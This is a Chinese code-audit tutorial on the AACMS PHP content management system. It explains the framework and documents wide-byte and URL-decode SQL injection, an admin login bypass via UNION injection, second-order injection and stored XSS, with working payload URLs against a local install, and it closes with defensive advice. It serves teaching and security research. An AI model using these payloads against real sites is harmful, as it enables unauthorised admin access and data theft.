通读审计之AACMS
字数 1236 2025-08-18 11:39:30
AACMS代码审计与漏洞分析教学文档
0x00 系统概述
AACMS是一个基于MVC架构的PHP内容管理系统,虽然非主流但结构清晰,适合学习MVC框架和代码审计。
系统特点
- 采用单例模式设计
- 使用MVC架构
- 默认GBK编码
- 包含多个入口点:index.php、admin.php、article.php
0x01 框架分析
核心初始化流程
-
入口文件(index.php)
- 包含核心文件并实例化Core类
- 调用init()方法初始化系统
-
Core类构造方法
- 初始化全局变量
$_G - 包含功能函数文件
- 处理X-Forwarded-For头(有限制)
- 初始化全局变量
-
初始化方法
_init_config(): 加载配置文件_init_input(): 处理输入数据,使用daddslashes()过滤_init_output(): 设置输出缓冲- 数据库连接初始化
数据库处理
- 使用DB类管理数据库连接
- 默认GBK字符集
- 封装了
daddslashes()函数(基于addslashes)
0x02 漏洞分析
1. 宽字节注入漏洞
漏洞位置:admin\admin_member.php
成因:
- 数据库使用GBK编码
- 使用
daddslashes()进行过滤 - 可通过宽字节(%df')绕过转义
利用方式:
POST提交:username=heihu%df' or 1=1 #
影响:
- 可进行报错注入获取敏感信息
2. 后台万能密码登录漏洞
漏洞位置:admin.php登录验证
利用步骤:
- 构造UNION注入查询
- 伪造密码哈希值
Payload示例:
formhash=eba3baf7&admin_username=heihu%df' UNION SELECT 1,2,0x6433356536363866373765653433326661646534396637643763666436616434,4,1,6,7,8,9,10,11,12,13 -- &admin_password=3&loginsubmit=%26%23160%3B%C8%B7%B6%A8%26%23160%3B
原理:
- 通过UNION注入构造返回记录
- 伪造密码哈希绕过验证
3. urldecode导致的注入漏洞
漏洞位置:\admin\admin_misc.php
成因:
- 对输入进行urldecode处理
- 双重编码可绕过daddslashes
Payload示例:
http://127.0.0.1/aacms/admin.php?action=misc&operation=custommenu_add&title=a%2527%20or%20updatexml(1,concat(1,user(),1),1)--%20&url=b
4. 二次注入漏洞
漏洞位置:同上
利用方式:
- 第一次注入将恶意数据存入数据库
- 第二次查询时触发注入
Payload示例:
http://127.0.0.1/aacms/admin.php?action=misc&operation=custommenu_add&title=12&url=1%2527,1),(user(),1,1)%20--%20
验证URL:
http://127.0.0.1/aacms/admin.php?action=misc&operation=custommenu
5. XSS漏洞
漏洞位置:后台自定义菜单功能
成因:
- 输入仅经过addslashes处理
- 未过滤HTML标签
- 直接输出到页面
Payload示例:
http://127.0.0.1/aacms/admin.php?action=misc&operation=custommenu_add&title=%22%20onclick=%27alert(1)%27%3E&url=%22%20onclick=%27alert(1)%27%3E
0x03 防御建议
-
SQL注入防御
- 使用预处理语句
- 统一字符集为UTF-8
- 替换addslashes为更安全的过滤方式
-
XSS防御
- 输出时使用htmlspecialchars
- 严格过滤输入中的HTML标签
-
其他建议
- 对urldecode处理后的数据进行二次过滤
- 实现CSRF防护机制
- 加强后台验证
0x04 总结
AACMS展示了多个经典漏洞类型,是学习代码审计的优秀案例。通过分析这些漏洞,可以深入理解:
- MVC框架的安全处理流程
- 编码转换导致的注入问题
- 二次注入的原理和利用
- 前后端协同的安全防护重要性
这些漏洞虽然主要在后台,但揭示了Web应用安全的关键问题,对开发者和安全研究人员都有重要参考价值。